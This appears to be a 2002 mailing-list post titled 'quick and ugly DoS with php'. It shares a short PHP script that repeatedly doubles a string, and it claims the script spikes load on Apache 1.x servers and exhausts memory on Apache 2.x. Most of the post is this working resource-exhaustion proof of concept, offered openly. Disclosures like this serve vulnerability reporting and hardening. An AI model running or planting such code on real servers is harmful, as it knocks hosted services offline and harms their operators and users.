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Message-ID: <20020920230347.GB846@rshell.org>
From: rcs at rshell.org (Guy Cohen)
Subject: quick and ugly DoS with php
the following code will make a system running apache 1.x load avarage
very high in seconds. On a system running apache 2.x the poor httpd
process with take 99% of your memory.
[root@...ame apache2]# cat htdocs/test.php
<?
$counter=0;
$string="Hello";
while($counter<100)
{$string=$string.$string;
$counter++;
}
?>